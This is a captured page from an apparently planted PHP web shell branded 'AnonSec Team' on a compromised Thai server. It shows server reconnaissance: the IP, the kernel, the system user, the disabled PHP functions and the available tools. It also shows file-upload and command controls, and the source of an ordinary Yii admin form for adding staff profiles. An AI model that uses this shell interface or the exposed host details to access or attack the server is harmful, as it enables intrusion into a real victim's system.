NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 18.218.161.96
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/public_html/backup/protected/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/public_html/backup/protected/views/admin/chartProfileAdd.php
<script type="text/javascript">
$(function(){
    $('#tbChartProfile_tb_chart_group_id').change(function(){
        var group_chart = $('#tbChartProfile_tb_chart_group_id').val();
        var link = '<?php echo Yii::app()->controller->createUrl('Admin/ChartProfileGetPosition'); ?>';
        
        $.post(link, {id: group_chart}, function(data){
            if(data != 'null') {
                $('#chart_position_ajax').html(data);
                $('#trPositionAjax').css({'display':'table-row'});
            } else {
                $('#tbChartProfile_tb_chart_position_id').empty();
                $('#trPositionAjax').css({'display':'none'});
            }
        });
    })
})
</script>

<div class="row-fluid formview-header-bar">
    <div class="span12">
        <ul class="breadcrumb">
            <li><a href="<?php echo Yii::app()->controller->createUrl('MainBackend'); ?>">หน้าหลัก</a> <span class="divider">/</span></li>
            <li><a href="<?php echo Yii::app()->controller->createUrl('ChartProfileMain'); ?>">ข้อมูลบุคลากร</a> <span class="divider">/</span></li>
            <li class="active">เพิ่มข้อมูล ข้อมูลบุคลากร</li>
        </ul>
    </div>
</div>

<div class="row-fluid">
    <div class="span12">
        
        <?php $form = $this->beginWidget('CActiveForm', array(
            'id' => 'form',
            'enableAjaxValidation' => true,
            'clientOptions' => array(
                'validateOnSubmit' => true,
                'validateOnChange' => true,
            ),
            'htmlOptions' => array('enctype'=>'multipart/form-data'),
        )); ?>
        <table class="tableForm">
            <tr>
                <td class="tableFormRight" width="140"><?php echo $form->labelEx($model, 'tbChartGroup.group_name'); ?></td>
                <td>
                    <?php
                    $dataChartGroup = CHtml::listData(tbChartGroup::model()->findAll(), 'id', 'group_name');
                    echo $form->dropdownlist($model, 'tb_chart_group_id', $dataChartGroup, array('empty'=>'เลือกหน่วยงาน'));
                    echo $form->error($model, 'tb_chart_group_id');
                    ?>
                </td>
            </tr>
            <tr id="trPositionAjax" style="display: none;">
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'tbChartPosition.position_name'); ?></td>
                <td>
                    <div id="chart_position_ajax"></div>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'picture'); ?></td>
                <td>
                    <?php
                    echo $form->FileField($model, 'picture');
                    echo $form->error($model, 'picture');
                    ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'fullname'); ?></td>
                <td>
                    <?php
                    echo $form->TextField($model, 'fullname', array('class'=>'span6', 'placeholder'=>'ชื่อบุคลากร..'));
                    echo $form->error($model, 'fullname');
                    ?>
                </td>
            </tr>
            <tr>
                <td></td>
                <td>
                    <?php echo CHtml::submitButton('ตกลง', array('class'=>'btn btn-primary')); ?>
                </td>
            </tr>
        </table>
        <?php $this->endWidget(); ?>
        
    </div>
</div>

Anon7 - 2022
AnonSec Team